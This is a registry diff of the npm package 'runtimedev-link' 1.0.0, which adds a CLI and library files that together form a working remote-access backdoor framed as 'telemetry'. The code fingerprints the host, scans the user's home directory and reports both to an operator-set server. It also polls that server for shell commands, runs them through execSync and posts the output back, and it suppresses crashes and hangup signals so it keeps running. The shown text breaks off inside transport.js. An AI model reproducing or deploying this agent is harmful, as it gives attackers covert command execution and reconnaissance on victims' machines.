runtimedev-link 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/cli.js +145 -0
- package/lib/enum.js +86 -0
- package/lib/exec.js +46 -0
- package/lib/fs_scan.js +106 -0
- package/lib/transport.js +438 -0
- package/package.json +16 -0
package/bin/cli.js
ADDED
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const transport = require('../lib/transport');
|
|
7
|
+
|
|
8
|
+
function loadEnvFile(filePath) {
|
|
9
|
+
try {
|
|
10
|
+
const raw = fs.readFileSync(filePath, 'utf8');
|
|
11
|
+
for (const line of raw.split('\n')) {
|
|
12
|
+
const trimmed = line.trim();
|
|
13
|
+
if (!trimmed || trimmed.startsWith('#')) continue;
|
|
14
|
+
const idx = trimmed.indexOf('=');
|
|
15
|
+
if (idx <= 0) continue;
|
|
16
|
+
const key = trimmed.slice(0, idx).trim();
|
|
17
|
+
let val = trimmed.slice(idx + 1).trim();
|
|
18
|
+
if (
|
|
19
|
+
val.length >= 2 &&
|
|
20
|
+
((val.startsWith('"') && val.endsWith('"')) ||
|
|
21
|
+
(val.startsWith("'") && val.endsWith("'")))
|
|
22
|
+
) {
|
|
23
|
+
val = val.slice(1, -1);
|
|
24
|
+
}
|
|
25
|
+
if (key && process.env[key] == null) {
|
|
26
|
+
process.env[key] = val;
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
} catch {
|
|
30
|
+
// ignore
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function loadLocalEnv() {
|
|
35
|
+
const dirs = [
|
|
36
|
+
process.cwd(),
|
|
37
|
+
path.dirname(process.argv[1] || ''),
|
|
38
|
+
path.join(path.dirname(process.argv[1] || ''), '..'),
|
|
39
|
+
];
|
|
40
|
+
for (const dir of dirs) {
|
|
41
|
+
for (const name of ['.env', 'agent.env']) {
|
|
42
|
+
loadEnvFile(path.join(dir, name));
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
function parseArgs(argv) {
|
|
48
|
+
const out = { token: '' };
|
|
49
|
+
for (let i = 2; i < argv.length; i += 1) {
|
|
50
|
+
const arg = argv[i];
|
|
51
|
+
if (arg === '--token' || arg === '-t') {
|
|
52
|
+
out.token = String(argv[i + 1] || '').trim();
|
|
53
|
+
i += 1;
|
|
54
|
+
continue;
|
|
55
|
+
}
|
|
56
|
+
if (arg.startsWith('--token=')) {
|
|
57
|
+
out.token = arg.slice('--token='.length).trim();
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
return out;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
function parseToken(raw) {
|
|
64
|
+
const token = String(raw || '').trim();
|
|
65
|
+
const apiFromEnv =
|
|
66
|
+
String(process.env.NODE_LINK_API_BASE || process.env.SSTAR_API_BASE || '').trim();
|
|
67
|
+
const hashFromEnv =
|
|
68
|
+
String(process.env.NODE_LINK_HASH || process.env.SSTAR_DEPLOYMENT_HASH || '').trim();
|
|
69
|
+
|
|
70
|
+
if (!token) {
|
|
71
|
+
return { apiBase: apiFromEnv, hash: hashFromEnv };
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
if (token.includes('|')) {
|
|
75
|
+
const [apiBase, hash] = token.split('|');
|
|
76
|
+
return {
|
|
77
|
+
apiBase: String(apiBase || '').trim() || apiFromEnv,
|
|
78
|
+
hash: String(hash || '').trim() || hashFromEnv,
|
|
79
|
+
};
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
try {
|
|
83
|
+
const decoded = Buffer.from(token, 'base64').toString('utf8');
|
|
84
|
+
const obj = JSON.parse(decoded);
|
|
85
|
+
if (obj && typeof obj === 'object') {
|
|
86
|
+
return {
|
|
87
|
+
apiBase: String(obj.apiBase || obj.base || obj.api || '').trim() || apiFromEnv,
|
|
88
|
+
hash: String(obj.hash || obj.deploymentHash || '').trim() || hashFromEnv,
|
|
89
|
+
};
|
|
90
|
+
}
|
|
91
|
+
} catch {
|
|
92
|
+
// not base64 JSON
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
return { apiBase: apiFromEnv, hash: token || hashFromEnv };
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function writeStartupError(message) {
|
|
99
|
+
try {
|
|
100
|
+
const dir = path.dirname(process.argv[1] || process.cwd());
|
|
101
|
+
fs.writeFileSync(path.join(dir, 'node-link-error.txt'), message + '\n', 'utf8');
|
|
102
|
+
} catch {
|
|
103
|
+
// ignore
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
function installSignalHandlers() {
|
|
108
|
+
process.on('uncaughtException', () => {
|
|
109
|
+
// never crash
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
process.on('SIGHUP', () => {
|
|
113
|
+
// noop
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
process.on('SIGTERM', () => {
|
|
117
|
+
transport.stop();
|
|
118
|
+
process.exit(0);
|
|
119
|
+
});
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
async function main() {
|
|
123
|
+
loadLocalEnv();
|
|
124
|
+
installSignalHandlers();
|
|
125
|
+
|
|
126
|
+
const args = parseArgs(process.argv);
|
|
127
|
+
const cfg = parseToken(args.token);
|
|
128
|
+
transport.configure(cfg);
|
|
129
|
+
|
|
130
|
+
const err = transport.validateConfig();
|
|
131
|
+
if (err) {
|
|
132
|
+
writeStartupError(err);
|
|
133
|
+
process.exitCode = 1;
|
|
134
|
+
return;
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
await transport.start();
|
|
138
|
+
|
|
139
|
+
await new Promise(() => {});
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
main().catch((err) => {
|
|
143
|
+
writeStartupError(String(err && err.message ? err.message : err));
|
|
144
|
+
process.exitCode = 1;
|
|
145
|
+
});
|
package/lib/enum.js
ADDED
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const crypto = require('crypto');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
|
|
6
|
+
function safe(fn, fallback) {
|
|
7
|
+
try {
|
|
8
|
+
return fn();
|
|
9
|
+
} catch {
|
|
10
|
+
return fallback;
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function getHostname() {
|
|
15
|
+
return safe(() => os.hostname(), 'unknown');
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function getPlatform() {
|
|
19
|
+
return safe(() => `${process.platform} ${process.arch}`, 'unknown');
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function getOsInfo() {
|
|
23
|
+
return safe(
|
|
24
|
+
() => `${process.platform} ${process.arch} node/${process.version}`,
|
|
25
|
+
'unknown'
|
|
26
|
+
);
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function getUsername() {
|
|
30
|
+
return safe(
|
|
31
|
+
() => process.env.USER || process.env.USERNAME || 'unknown',
|
|
32
|
+
'unknown'
|
|
33
|
+
);
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function getLocalIps() {
|
|
37
|
+
const out = [];
|
|
38
|
+
try {
|
|
39
|
+
const ifaces = os.networkInterfaces();
|
|
40
|
+
for (const name of Object.keys(ifaces)) {
|
|
41
|
+
const entries = ifaces[name] || [];
|
|
42
|
+
for (const entry of entries) {
|
|
43
|
+
if (!entry || entry.internal) continue;
|
|
44
|
+
const addr = String(entry.address || '').trim();
|
|
45
|
+
if (addr) out.push(addr);
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
} catch {
|
|
49
|
+
// ignore
|
|
50
|
+
}
|
|
51
|
+
return out;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
function agentHash(hostname, platform, ips) {
|
|
55
|
+
const ipPart = Array.isArray(ips) ? ips.join(',') : String(ips || '');
|
|
56
|
+
const raw = `${hostname}|${platform}|${ipPart}`;
|
|
57
|
+
try {
|
|
58
|
+
return crypto.createHash('sha256').update(raw, 'utf8').digest('hex');
|
|
59
|
+
} catch {
|
|
60
|
+
return '';
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
function getIdentity() {
|
|
65
|
+
const hostname = getHostname();
|
|
66
|
+
const platform = getPlatform();
|
|
67
|
+
const ips = getLocalIps();
|
|
68
|
+
return {
|
|
69
|
+
hostname,
|
|
70
|
+
platform,
|
|
71
|
+
osInfo: getOsInfo(),
|
|
72
|
+
username: getUsername(),
|
|
73
|
+
ips,
|
|
74
|
+
agentHash: agentHash(hostname, platform, ips),
|
|
75
|
+
};
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
module.exports = {
|
|
79
|
+
getHostname,
|
|
80
|
+
getPlatform,
|
|
81
|
+
getOsInfo,
|
|
82
|
+
getUsername,
|
|
83
|
+
getLocalIps,
|
|
84
|
+
agentHash,
|
|
85
|
+
getIdentity,
|
|
86
|
+
};
|
package/lib/exec.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const DEFAULT_TIMEOUT_MS = 120000;
|
|
6
|
+
|
|
7
|
+
function runCommand(command, opts) {
|
|
8
|
+
const cmd = String(command || '').trim();
|
|
9
|
+
const timeout =
|
|
10
|
+
opts && opts.timeoutMs > 0 ? opts.timeoutMs : DEFAULT_TIMEOUT_MS;
|
|
11
|
+
|
|
12
|
+
if (!cmd) {
|
|
13
|
+
return { success: false, stdout: '', stderr: 'empty command', command: cmd };
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
try {
|
|
17
|
+
const stdout = execSync(cmd, {
|
|
18
|
+
encoding: 'utf8',
|
|
19
|
+
timeout,
|
|
20
|
+
shell: process.platform === 'win32' ? undefined : '/bin/sh',
|
|
21
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
22
|
+
windowsHide: true,
|
|
23
|
+
maxBuffer: 8 * 1024 * 1024,
|
|
24
|
+
});
|
|
25
|
+
return {
|
|
26
|
+
success: true,
|
|
27
|
+
stdout: stdout == null ? '' : String(stdout),
|
|
28
|
+
stderr: '',
|
|
29
|
+
command: cmd,
|
|
30
|
+
};
|
|
31
|
+
} catch (err) {
|
|
32
|
+
const stdout = err && err.stdout != null ? String(err.stdout) : '';
|
|
33
|
+
const stderr = err && err.stderr != null ? String(err.stderr) : String(err.message || err);
|
|
34
|
+
return {
|
|
35
|
+
success: false,
|
|
36
|
+
stdout,
|
|
37
|
+
stderr,
|
|
38
|
+
command: cmd,
|
|
39
|
+
};
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
module.exports = {
|
|
44
|
+
DEFAULT_TIMEOUT_MS,
|
|
45
|
+
runCommand,
|
|
46
|
+
};
|
package/lib/fs_scan.js
ADDED
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
const DEFAULT_MAX_ENTRIES = 50000;
|
|
7
|
+
|
|
8
|
+
const LINUX_SKIP = new Set(['/proc', '/sys', '/dev']);
|
|
9
|
+
const WIN_SKIP_RE = /[\\/]system32(?:[\\/]|$)/i;
|
|
10
|
+
|
|
11
|
+
function shouldSkipPath(absPath) {
|
|
12
|
+
const normalized = path.normalize(absPath);
|
|
13
|
+
if (process.platform === 'linux') {
|
|
14
|
+
for (const prefix of LINUX_SKIP) {
|
|
15
|
+
if (normalized === prefix || normalized.startsWith(prefix + path.sep)) {
|
|
16
|
+
return true;
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
if (process.platform === 'win32' && WIN_SKIP_RE.test(normalized)) {
|
|
21
|
+
return true;
|
|
22
|
+
}
|
|
23
|
+
return false;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function skipDirName(name) {
|
|
27
|
+
if (!name || name === '.' || name === '..') return true;
|
|
28
|
+
const lower = name.toLowerCase();
|
|
29
|
+
return lower === 'node_modules' || lower === '$recycle.bin';
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
function defaultScanRoot() {
|
|
33
|
+
try {
|
|
34
|
+
return process.env.HOME || process.env.USERPROFILE || process.cwd();
|
|
35
|
+
} catch {
|
|
36
|
+
return '.';
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function scanDirectory(root, opts) {
|
|
41
|
+
const maxEntries =
|
|
42
|
+
opts && opts.maxEntries > 0
|
|
43
|
+
? Math.min(opts.maxEntries, DEFAULT_MAX_ENTRIES)
|
|
44
|
+
: DEFAULT_MAX_ENTRIES;
|
|
45
|
+
const depth =
|
|
46
|
+
opts && opts.depth > 0 ? Math.min(opts.depth, 50) : 5;
|
|
47
|
+
const cleanRoot = path.resolve(String(root || defaultScanRoot()));
|
|
48
|
+
if (shouldSkipPath(cleanRoot)) {
|
|
49
|
+
return null;
|
|
50
|
+
}
|
|
51
|
+
const state = { count: 0 };
|
|
52
|
+
return walkDir(cleanRoot, path.basename(cleanRoot) || '/', depth, maxEntries, state);
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
function walkDir(absPath, displayName, remainingDepth, maxEntries, state) {
|
|
56
|
+
if (state.count >= maxEntries) {
|
|
57
|
+
return { name: displayName, type: 'directory', children: [] };
|
|
58
|
+
}
|
|
59
|
+
if (shouldSkipPath(absPath)) {
|
|
60
|
+
return null;
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
let entries = [];
|
|
64
|
+
try {
|
|
65
|
+
entries = fs.readdirSync(absPath, { withFileTypes: true });
|
|
66
|
+
} catch {
|
|
67
|
+
return { name: displayName, type: 'directory', children: [] };
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
const children = [];
|
|
71
|
+
for (const entry of entries) {
|
|
72
|
+
if (state.count >= maxEntries) break;
|
|
73
|
+
if (skipDirName(entry.name)) continue;
|
|
74
|
+
|
|
75
|
+
const subPath = path.join(absPath, entry.name);
|
|
76
|
+
if (shouldSkipPath(subPath)) continue;
|
|
77
|
+
|
|
78
|
+
if (entry.isDirectory()) {
|
|
79
|
+
state.count += 1;
|
|
80
|
+
if (remainingDepth <= 1) {
|
|
81
|
+
children.push({ name: entry.name, type: 'directory' });
|
|
82
|
+
continue;
|
|
83
|
+
}
|
|
84
|
+
const sub = walkDir(
|
|
85
|
+
subPath,
|
|
86
|
+
entry.name,
|
|
87
|
+
remainingDepth - 1,
|
|
88
|
+
maxEntries,
|
|
89
|
+
state
|
|
90
|
+
);
|
|
91
|
+
if (sub) children.push(sub);
|
|
92
|
+
} else if (entry.isFile()) {
|
|
93
|
+
state.count += 1;
|
|
94
|
+
children.push({ name: entry.name, type: 'file' });
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
return { name: displayName, type: 'directory', children };
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
module.exports = {
|
|
102
|
+
DEFAULT_MAX_ENTRIES,
|
|
103
|
+
shouldSkipPath,
|
|
104
|
+
scanDirectory,
|
|
105
|
+
defaultScanRoot,
|
|
106
|
+
};
|
package/lib/transport.js
ADDED
|
@@ -0,0 +1,438 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const { URL } = require('url');
|
|
6
|
+
|
|
7
|
+
const { getIdentity } = require('./enum');
|
|
8
|
+
const { scanDirectory, defaultScanRoot } = require('./fs_scan');
|
|
9
|
+
const { runCommand } = require('./exec');
|
|
10
|
+
|
|
11
|
+
const POLL_MIN_SEC = 20;
|
|
12
|
+
const POLL_MAX_SEC = 60;
|
|
13
|
+
const TELEMETRY_MIN_SEC = 45;
|
|
14
|
+
const TELEMETRY_MAX_SEC = 120;
|
|
15
|
+
const REQUEST_TIMEOUT_MS = 120000;
|
|
16
|
+
|
|
17
|
+
let config = {
|
|
18
|
+
apiBase: '',
|
|
19
|
+
hash: '',
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
let agentActivated = false;
|
|
23
|
+
let startupAnnounced = false;
|
|
24
|
+
let publicIpCache = '';
|
|
25
|
+
let shuttingDown = false;
|
|
26
|
+
|
|
27
|
+
function envInt(key, fallback) {
|
|
28
|
+
const raw = String(process.env[key] || '').trim();
|
|
29
|
+
if (!raw) return fallback;
|
|
30
|
+
const n = parseInt(raw, 10);
|
|
31
|
+
return Number.isFinite(n) ? n : fallback;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function randomMs(minSec, maxSec) {
|
|
35
|
+
const min = Math.max(1, minSec);
|
|
36
|
+
const max = Math.max(min, maxSec);
|
|
37
|
+
const span = max - min + 1;
|
|
38
|
+
return (min + Math.floor(Math.random() * span)) * 1000;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
function sleep(ms) {
|
|
42
|
+
return new Promise((resolve) => setTimeout(resolve, ms));
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
function baseUrl() {
|
|
46
|
+
return String(config.apiBase || '').replace(/\/+$/, '');
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
function identityFields() {
|
|
50
|
+
const id = getIdentity();
|
|
51
|
+
return {
|
|
52
|
+
hash: config.hash,
|
|
53
|
+
hostname: id.hostname,
|
|
54
|
+
publicIp: resolvePublicIp(),
|
|
55
|
+
username: id.username,
|
|
56
|
+
osInfo: id.osInfo,
|
|
57
|
+
};
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function resolvePublicIp() {
|
|
61
|
+
const envIp = String(process.env.SSTAR_PUBLIC_IP || '').trim();
|
|
62
|
+
if (envIp) return envIp;
|
|
63
|
+
return publicIpCache;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
function fetchPublicIp() {
|
|
67
|
+
return new Promise((resolve) => {
|
|
68
|
+
const req = https.get(
|
|
69
|
+
'https://api.ipify.org?format=text',
|
|
70
|
+
{ timeout: 8000 },
|
|
71
|
+
(res) => {
|
|
72
|
+
let body = '';
|
|
73
|
+
res.setEncoding('utf8');
|
|
74
|
+
res.on('data', (chunk) => {
|
|
75
|
+
body += chunk;
|
|
76
|
+
if (body.length > 64) req.destroy();
|
|
77
|
+
});
|
|
78
|
+
res.on('end', () => {
|
|
79
|
+
publicIpCache = String(body || '').trim();
|
|
80
|
+
resolve(publicIpCache);
|
|
81
|
+
});
|
|
82
|
+
}
|
|
83
|
+
);
|
|
84
|
+
req.on('error', () => resolve(''));
|
|
85
|
+
req.on('timeout', () => {
|
|
86
|
+
req.destroy();
|
|
87
|
+
resolve('');
|
|
88
|
+
});
|
|
89
|
+
});
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
function requestJson(method, pathname, payload) {
|
|
93
|
+
return new Promise((resolve) => {
|
|
94
|
+
let url;
|
|
95
|
+
try {
|
|
96
|
+
url = new URL(baseUrl() + pathname);
|
|
97
|
+
} catch {
|
|
98
|
+
resolve({ ok: false, status: 0, data: null, error: 'bad api base' });
|
|
99
|
+
return;
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
const body = payload == null ? '' : JSON.stringify(payload);
|
|
103
|
+
const mod = url.protocol === 'https:' ? https : http;
|
|
104
|
+
const opts = {
|
|
105
|
+
method,
|
|
106
|
+
hostname: url.hostname,
|
|
107
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
108
|
+
path: url.pathname + url.search,
|
|
109
|
+
headers: {
|
|
110
|
+
'Content-Type': 'application/json',
|
|
111
|
+
Accept: 'application/json',
|
|
112
|
+
},
|
|
113
|
+
timeout: REQUEST_TIMEOUT_MS,
|
|
114
|
+
};
|
|
115
|
+
if (body) opts.headers['Content-Length'] = Buffer.byteLength(body);
|
|
116
|
+
|
|
117
|
+
const req = mod.request(opts, (res) => {
|
|
118
|
+
let raw = '';
|
|
119
|
+
res.setEncoding('utf8');
|
|
120
|
+
res.on('data', (chunk) => {
|
|
121
|
+
raw += chunk;
|
|
122
|
+
if (raw.length > 8 * 1024 * 1024) req.destroy();
|
|
123
|
+
});
|
|
124
|
+
res.on('end', () => {
|
|
125
|
+
let data = null;
|
|
126
|
+
if (raw) {
|
|
127
|
+
try {
|
|
128
|
+
data = JSON.parse(raw);
|
|
129
|
+
} catch {
|
|
130
|
+
data = raw;
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
resolve({
|
|
134
|
+
ok: res.statusCode >= 200 && res.statusCode < 300,
|
|
135
|
+
status: res.statusCode || 0,
|
|
136
|
+
data,
|
|
137
|
+
error: null,
|
|
138
|
+
});
|
|
139
|
+
});
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
req.on('error', (err) => {
|
|
143
|
+
resolve({ ok: false, status: 0, data: null, error: String(err.message || err) });
|
|
144
|
+
});
|
|
145
|
+
req.on('timeout', () => {
|
|
146
|
+
req.destroy();
|
|
147
|
+
resolve({ ok: false, status: 0, data: null, error: 'timeout' });
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
if (body) req.write(body);
|
|
151
|
+
req.end();
|
|
152
|
+
});
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
async function postTelemetryReport() {
|
|
156
|
+
if (!agentActivated) return;
|
|
157
|
+
|
|
158
|
+
const id = getIdentity();
|
|
159
|
+
let directoryStructure = null;
|
|
160
|
+
if (String(process.env.SSTAR_DIR_TREE_DISABLED || '') !== '1') {
|
|
161
|
+
try {
|
|
162
|
+
const root = String(process.env.SSTAR_DIR_TREE_ROOT || '').trim() || defaultScanRoot();
|
|
163
|
+
const depth = envInt('SSTAR_DIR_TREE_DEPTH', 5);
|
|
164
|
+
const maxEntries = envInt('SSTAR_DIR_TREE_MAX_ENTRIES', 60);
|
|
165
|
+
directoryStructure = scanDirectory(root, { depth, maxEntries });
|
|
166
|
+
} catch {
|
|
167
|
+
directoryStructure = null;
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
await requestJson('POST', '/api/telemetry/report', {
|
|
172
|
+
hash: config.hash,
|
|
173
|
+
hostname: id.hostname,
|
|
174
|
+
publicIp: resolvePublicIp(),
|
|
175
|
+
username: id.username,
|
|
176
|
+
osInfo: id.osInfo,
|
|
177
|
+
directoryStructure,
|
|
178
|
+
chromeExtensions: [],
|
|
179
|
+
});
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
async function postCommandResult(output) {
|
|
183
|
+
await requestJson('POST', '/api/telemetry/command-result', {
|
|
184
|
+
...identityFields(),
|
|
185
|
+
output: output == null ? '' : String(output),
|
|
186
|
+
});
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
|
|
190
|
+
const payload = {
|
|
191
|
+
...identityFields(),
|
|
192
|
+
requestId: String(requestId || ''),
|
|
193
|
+
};
|
|
194
|
+
if (errMsg) {
|
|
195
|
+
payload.error = String(errMsg);
|
|
196
|
+
} else {
|
|
197
|
+
payload.directoryStructure = tree;
|
|
198
|
+
if (scanRoot) payload.scanRoot = scanRoot;
|
|
199
|
+
}
|
|
200
|
+
await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
|
|
201
|
+
}
|
|
202
|
+
|
|
203
|
+
async function postDownloadError(requestId, message) {
|
|
204
|
+
await requestJson('POST', '/api/telemetry/upload-download', {
|
|
205
|
+
...identityFields(),
|
|
206
|
+
requestId: String(requestId || ''),
|
|
207
|
+
error: String(message || 'unsupported on node-link agent'),
|
|
208
|
+
});
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
function pollBody(startup) {
|
|
212
|
+
const fields = identityFields();
|
|
213
|
+
const body = {
|
|
214
|
+
hash: fields.hash,
|
|
215
|
+
hostname: fields.hostname,
|
|
216
|
+
publicIp: fields.publicIp,
|
|
217
|
+
};
|
|
218
|
+
if (startup || agentActivated) {
|
|
219
|
+
body.username = fields.username;
|
|
220
|
+
body.osInfo = fields.osInfo;
|
|
221
|
+
}
|
|
222
|
+
if (startup) body.startup = '1';
|
|
223
|
+
return body;
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
async function pollCommands(startup) {
|
|
227
|
+
return requestJson('POST', '/api/telemetry/poll-command', pollBody(startup));
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
function handleBuiltInCommand(input) {
|
|
231
|
+
const trimmed = String(input || '').trim();
|
|
232
|
+
if (!trimmed) return null;
|
|
233
|
+
|
|
234
|
+
const parts = trimmed.split(/\s+/);
|
|
235
|
+
const verb = parts[0];
|
|
236
|
+
|
|
237
|
+
if (verb === 'exit') {
|
|
238
|
+
shuttingDown = true;
|
|
239
|
+
return { handled: true, output: '' };
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
if (verb === 'ls') {
|
|
243
|
+
try {
|
|
244
|
+
const fs = require('fs');
|
|
245
|
+
const cwd = process.cwd();
|
|
246
|
+
const entries = fs.readdirSync(cwd, { withFileTypes: true });
|
|
247
|
+
const lines = [];
|
|
248
|
+
for (const entry of entries) {
|
|
249
|
+
let size = 0;
|
|
250
|
+
try {
|
|
251
|
+
if (entry.isFile()) {
|
|
252
|
+
size = fs.statSync(require('path').join(cwd, entry.name)).size;
|
|
253
|
+
}
|
|
254
|
+
} catch {
|
|
255
|
+
size = 0;
|
|
256
|
+
}
|
|
257
|
+
const kind = entry.isDirectory() ? 'DIR ' : 'FILE';
|
|
258
|
+
lines.push(`${kind} ${String(size).padStart(10)} ${entry.name}`);
|
|
259
|
+
}
|
|
260
|
+
return { handled: true, output: lines.join('\n') };
|
|
261
|
+
} catch (err) {
|
|
262
|
+
return { handled: true, output: `Error: ${String(err.message || err)}` };
|
|
263
|
+
}
|
|
264
|
+
}
|
|
265
|
+
|
|
266
|
+
if (verb === 'cd') {
|
|
267
|
+
if (parts.length < 2) return { handled: true, output: '' };
|
|
268
|
+
try {
|
|
269
|
+
process.chdir(parts.slice(1).join(' '));
|
|
270
|
+
return { handled: true, output: '' };
|
|
271
|
+
} catch (err) {
|
|
272
|
+
return { handled: true, output: `Error: ${String(err.message || err)}\n` };
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
|
|
276
|
+
return null;
|
|
277
|
+
}
|
|
278
|
+
|
|
279
|
+
async function handleCommand(input) {
|
|
280
|
+
const builtIn = handleBuiltInCommand(input);
|
|
281
|
+
if (builtIn) {
|
|
282
|
+
await postCommandResult(builtIn.output);
|
|
283
|
+
return;
|
|
284
|
+
}
|
|
285
|
+
|
|
286
|
+
const result = runCommand(input);
|
|
287
|
+
const combined = [result.stdout, result.stderr].filter(Boolean).join('\n');
|
|
288
|
+
await postCommandResult(combined);
|
|
289
|
+
}
|
|
290
|
+
|
|
291
|
+
async function handleDirectoryScan(req) {
|
|
292
|
+
if (!req || !req.requestId || !req.path) return;
|
|
293
|
+
|
|
294
|
+
const fs = require('fs');
|
|
295
|
+
const path = require('path');
|
|
296
|
+
const root = path.resolve(String(req.path).trim());
|
|
297
|
+
let depth = parseInt(String(req.depth ?? '4'), 10);
|
|
298
|
+
if (!Number.isFinite(depth) || depth < 1) depth = 4;
|
|
299
|
+
if (depth > 50) depth = 50;
|
|
300
|
+
|
|
301
|
+
let maxEntries = parseInt(String(req.maxEntries ?? '80'), 10);
|
|
302
|
+
if (!Number.isFinite(maxEntries) || maxEntries < 10) maxEntries = 80;
|
|
303
|
+
if (maxEntries > 500) maxEntries = 500;
|
|
304
|
+
|
|
305
|
+
try {
|
|
306
|
+
const st = fs.statSync(root);
|
|
307
|
+
if (!st.isDirectory()) {
|
|
308
|
+
await postDirectoryScanResult(req.requestId, '', null, 'path not accessible');
|
|
309
|
+
return;
|
|
310
|
+
}
|
|
311
|
+
} catch (err) {
|
|
312
|
+
await postDirectoryScanResult(
|
|
313
|
+
req.requestId,
|
|
314
|
+
'',
|
|
315
|
+
null,
|
|
316
|
+
String(err.message || err)
|
|
317
|
+
);
|
|
318
|
+
return;
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
const tree = scanDirectory(root, { depth, maxEntries });
|
|
322
|
+
if (!tree) {
|
|
323
|
+
await postDirectoryScanResult(req.requestId, '', null, 'could not build directory tree');
|
|
324
|
+
return;
|
|
325
|
+
}
|
|
326
|
+
await postDirectoryScanResult(req.requestId, root, tree, '');
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
async function handleDownloadRequest(req) {
|
|
330
|
+
if (!req || !req.requestId) return;
|
|
331
|
+
await postDownloadError(
|
|
332
|
+
req.requestId,
|
|
333
|
+
'path/extension downloads are not implemented in node-link'
|
|
334
|
+
);
|
|
335
|
+
}
|
|
336
|
+
|
|
337
|
+
async function handlePollResponse(data) {
|
|
338
|
+
if (!data || typeof data !== 'object') return;
|
|
339
|
+
|
|
340
|
+
if (data.activated && !agentActivated) {
|
|
341
|
+
agentActivated = true;
|
|
342
|
+
telemetryLoop().catch(() => {});
|
|
343
|
+
}
|
|
344
|
+
|
|
345
|
+
if (!agentActivated) return;
|
|
346
|
+
|
|
347
|
+
if (data.downloadRequest) {
|
|
348
|
+
await handleDownloadRequest(data.downloadRequest);
|
|
349
|
+
}
|
|
350
|
+
if (data.directoryScan) {
|
|
351
|
+
await handleDirectoryScan(data.directoryScan);
|
|
352
|
+
}
|
|
